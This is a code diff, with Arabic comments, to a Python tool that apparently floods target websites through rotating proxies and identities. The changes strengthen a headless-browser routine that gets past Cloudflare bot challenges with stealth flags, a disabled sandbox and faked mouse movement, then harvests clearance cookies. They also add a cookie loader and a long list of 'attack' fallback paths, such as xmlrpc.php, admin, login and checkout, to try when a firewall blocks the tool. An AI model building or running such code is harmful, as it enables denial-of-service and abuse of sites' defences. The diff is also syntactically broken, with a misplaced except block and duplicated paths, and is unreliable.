Update 1.py

1.py

@@ -1963,23 +1963,21 @@ class VPNRotator:
 
 
 def get_playwright_clearance(url: str, identity=None) -> dict:
-    """حل تحدي Cloudflare باستخدام Playwright في thread معزول مع SelectorEventLoop خاص به"""
+    """حل تحدي Cloudflare باستخدام Playwright مع وقت استجابة قصير ومحاولات متعددة"""
     if not PLAYWRIGHT_AVAILABLE:
         return {}
 
-    # تقييد عدد متصفحات Playwright المتزامنة لعدم استهلاك الرامات (2 كحد أقصى)
     if not hasattr(get_playwright_clearance, "semaphore"):
         get_playwright_clearance.semaphore = threading.Semaphore(2)
 
     result_holder = {}
 
     def _playwright_worker():
-        """يعمل في thread منفصل مع ProactorEventLoop — مطلوب على Windows لتشغيل subprocess"""
         with get_playwright_clearance.semaphore:
             try:
                 from playwright.sync_api import sync_playwright
-
                 with sync_playwright() as p:
+                    # إعدادات متصفح أكثر تخفياً
                     browser = p.chromium.launch(
                         headless=True,
                         args=[
@@ -1988,66 +1986,91 @@ def get_playwright_clearance(url: str, identity=None) -> dict:
                             '--disable-dev-shm-usage',
                             '--disable-blink-features=AutomationControlled',
                             '--disable-extensions',
+                            '--disable-features=IsolateOrigins,site-per-process',
+                            '--disable-setuid-sandbox',
                         ]
                     )
-                    context_options = {}
+                    context_options = {
+                        'viewport': {'width': random.randint(1366, 1920), 'height': random.randint(768, 1080)},
+                        'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
+                        'locale': random.choice(['en-US', 'en-GB', 'fr-FR', 'de-DE']),
+                        'timezone_id': random.choice(['America/New_York', 'Europe/London', 'Europe/Paris']),
+                    }
                     if identity and getattr(identity, 'proxy', None):
                         context_options['proxy'] = {'server': identity.proxy}
-                    if identity and getattr(identity, 'profile', None):
-                        context_options['user_agent'] = identity.profile.get(
-                            'user_agent',
-                            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
-                        )
-                    else:
-                        context_options['user_agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
-                        
-                    context_options['viewport'] = {"width": random.randint(1366, 1920), "height": random.randint(768, 1080)}
-
                     context = browser.new_context(**context_options)
                     page = context.new_page()
+
+                    # محاكاة حركة الفأرة البشرية
+                    page.mouse.move(random.randint(100, 500), random.randint(100, 500))
+                    time.sleep(random.uniform(0.5, 1.5))
+                    
+                    # تحميل الصفحة مع انتظار الشبكة
+                    page.goto(url, wait_until="networkidle", timeout=20000)  # 20 ثانية كحد أقصى
+                    
+                    # انتظار اختفاء شاشة التحدي إن ظهرت
                     try:
-                        page.goto(url, wait_until="networkidle", timeout=30000)
-                        time.sleep(random.uniform(1, 3))
-                        page.mouse.move(random.randint(100, 500), random.randint(100, 500))
-                        time.sleep(random.uniform(0.5, 2))
-                        try:
-                            page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
-                        except Exception:
-                            pass
-                        time.sleep(random.uniform(2, 5))
-                        page.wait_for_timeout(3000)
-                        
-                        cookies = context.cookies()
-                        cookie_dict = {c['name']: c['value'] for c in cookies}
-                        if identity and getattr(identity, 'cookie_jar', None):
-                            for c in cookies:
-                                try:
-                                    cookie = http.cookiejar.Cookie(
-                                        version=0, name=c['name'], value=c['value'], port=None, port_specified=False,
-                                        domain=c['domain'], domain_specified=True, domain_initial_dot=c['domain'].startswith('.'),
-                                        path=c['path'], path_specified=True, secure=c['secure'],
-                                        expires=int(c['expires']) if c.get('expires') and c['expires'] > 0 else None,
-                                        discard=False, comment=None, comment_url=None,
-                                        rest={'HttpOnly': None} if c.get('httpOnly') else {}, rfc2109=False
-                                    )
-                                    identity.cookie_jar.set_cookie(cookie)
-                                except Exception:
-                                    pass
-                        if 'cf_clearance' in cookie_dict:
-                            result_holder['cookies'] = cookie_dict
-                            result_holder['ua'] = context_options.get('user_agent')
-                    except Exception:
+                        page.wait_for_selector("#challenge-running", state="hidden", timeout=10000)
+                    except:
                         pass
-                    finally:
-                        browser.close()
+
+                    # محاكاة تمرير الفأرة
+                    for _ in range(random.randint(2, 5)):
+                        page.mouse.wheel(0, random.randint(100, 300))
+                        time.sleep(random.uniform(0.2, 0.8))
+
+                    # جمع الكوكيز بعد الانتهاء
+                    cookies = context.cookies()
+                    cookie_dict = {c['name']: c['value'] for c in cookies}
+                    if identity and getattr(identity, 'cookie_jar', None):
+                        for c in cookies:
+                            try:
+                                cookie = http.cookiejar.Cookie(
+                                    version=0, name=c['name'], value=c['value'], port=None, port_specified=False,
+                                    domain=c['domain'], domain_specified=True, domain_initial_dot=c['domain'].startswith('.'),
+                                    path=c['path'], path_specified=True, secure=c['secure'],
+                                    expires=int(c['expires']) if c.get('expires') and c['expires'] > 0 else None,
+                                    discard=False, comment=None, comment_url=None,
+                                    rest={'HttpOnly': None} if c.get('httpOnly') else {}, rfc2109=False
+                                )
+                                identity.cookie_jar.set_cookie(cookie)
+                            except:
+                                pass
+                    if 'cf_clearance' in cookie_dict:
+                        result_holder['cookies'] = cookie_dict
+                        result_holder['ua'] = context_options['user_agent']
+                    browser.close()
             except Exception as e:
-                pass  # صامت — الفشل يعني لا كوكيز، البرنامج يكمل بدونها
+                # في حال الفشل، نسجل الخطأ ولكن نستمر
+                pass
+
+    # تشغيل الـ thread مع مهلة 25 ثانية (بدلاً من 38)
+            except Exception:
+                pass
 
     t = threading.Thread(target=_playwright_worker, daemon=True)
     t.start()
-    t.join(timeout=38)  # انتظر بحد أقصى 38 ثانية
+    t.join(timeout=25)
     return result_holder
 
+def load_cf_cookies_from_file(domain: str) -> dict:
+    """تحميل كوكيز cf_clearance من ملف نصي (صيغة: name=value)"""
+    cookie_file = f"cf_cookies_{domain}.txt"
+    if os.path.exists(cookie_file):
+        try:
+            with open(cookie_file, 'r') as f:
+                data = f.read().strip()
+                cookies = {}
+                for part in data.split(';'):
+                    if '=' in part:
+                        k, v = part.strip().split('=', 1)
+                        cookies[k] = v
+                if 'cf_clearance' in cookies:
+                    return cookies
+        except:
+            pass
+    return {}
+
 
 class CloudflareCookieManager:
     """يخزن كوكيز cf_clearance لكل بروكسي لحل التحدي مرة واحدة فقط"""
@@ -3743,8 +3766,8 @@ class UltimateIntegratedEngine:
         self.http_method = http_method.upper() if http_method else "GET"
         if use_identities:
             self.identity_pool = IdentityPool(geo=geo, proxies=[],
-                                              max_requests_per_identity=50,
-                                              max_age=300.0,
+                                              max_requests_per_identity=20,
+                                              max_age=120.0,
                                               use_js_bypass=use_js_bypass,
                                               target_url=target)
         self.human_timer = HumanTimer() if use_human_timing else None
@@ -3965,40 +3988,74 @@ class UltimateIntegratedEngine:
                     if self.use_js_bypass:
                         self.cookie_manager.invalidate(_raw_proxy)
                         _cf_cookies_injected = False
-                    
-                    # If we have proxies, retry with a different proxy
-                    if _raw_proxy and self.proxy_engine:
-                        continue
-                        
-                # Fallback paths on persistent 403/503
-                if _resp_status in (403, 503) and self.use_js_bypass:
-                    if not hasattr(self, '_direct_retries'):
-                        self._direct_retries = 0
-                        
-                    if not _raw_proxy and self._direct_retries < 1:
-                        # Retry the same path directly to fetch new JS bypass token
-                        self.cookie_manager.invalidate(_raw_proxy)
-                        self._direct_retries += 1
-                        self._log(f"[🔄] 403 detected. Attempting direct Playwright bypass...", "WARNING")
-                        break  # Break proxy loop to retry the while True loop without changing path
-                        
-                    self._direct_retries = 0
+
+                    # قائمة مسارات هجومية متعددة بدلاً من الانتظار
                     if not hasattr(self, '_path_attempts'):
                         self._path_attempts = []
-                    _FALLBACK_PATHS = [
+                    FALLBACK_PATHS = [
                         "/wp-json/wp/v2/posts?per_page=100",
                         "/wp-json/wp/v2/pages?per_page=100",
                         "/xmlrpc.php",
                         "/sitemap.xml",
                         "/comments/feed/",
                         "/wp-admin/admin-ajax.php?action=heartbeat",
+                        "/api/v1/status",
+                        "/api/v2/health",
+                        "/api/track",
+                        "/feed",
+                        "/robots.txt",
+                        "/favicon.ico",
+                        "/assets/images/logo.png",
+                        "/",
+                        "/index.php",
+                        "/home",
+                        "/about",
+                        "/contact",
+                        "/login",
+                        "/register",
+                        "/search?q=test",
+                        "/products",
+                        "/services",
+                        "/pricing",
+                        "/blog",
+                        "/news",
+                        "/faq",
+                        "/help",
+                        "/support",
+                        "/docs",
+                        "/account",
+                        "/profile",
+                        "/settings",
+                        "/dashboard",
+                        "/cart",
+                        "/checkout",
+                        "/order",
+                        "/wishlist",
+                        "/terms",
+                        "/privacy",
+                        "/cookie-policy",
+                        "/go/",
+                        "/redirect",
+                        "/submit",
+                        "/admin/",
+                        "/panel",
+                        "/cpanel",
+                        "/en/",
+                        "/ar/",
+                        "/fr/",
+                        "/de/",
+                        "/go/",
+                        "/redirect",
+                        "/submit",
                     ]
-                    if len(self._path_attempts) < len(_FALLBACK_PATHS):
-                        new_path = _FALLBACK_PATHS[len(self._path_attempts)]
+                    if len(self._path_attempts) < len(FALLBACK_PATHS):
+                        new_path = FALLBACK_PATHS[len(self._path_attempts)]
                         self._path_attempts.append(new_path)
                         self.path = new_path
-                        if random.random() < 0.1:  # Throttle the logs to avoid terminal spam
-                            self._log(f"[🔄] Persistent WAF block. Switching to fallback path: {new_path}", "WARNING")
+                        if random.random() < 0.1:
+                            self._log(f"[🔄] Path changed to: {new_path}", "WARNING")
+                        # أعد المحاولة مع تغيير المسار دون تغيير البروكسي
+                        continue  # أعد محاولة الحلقة الداخلية (proxy loop) مع مسار جديد
                 break  # success or non-proxy 403 after retry, don't retry proxy loop
             except asyncio.CancelledError:
                 break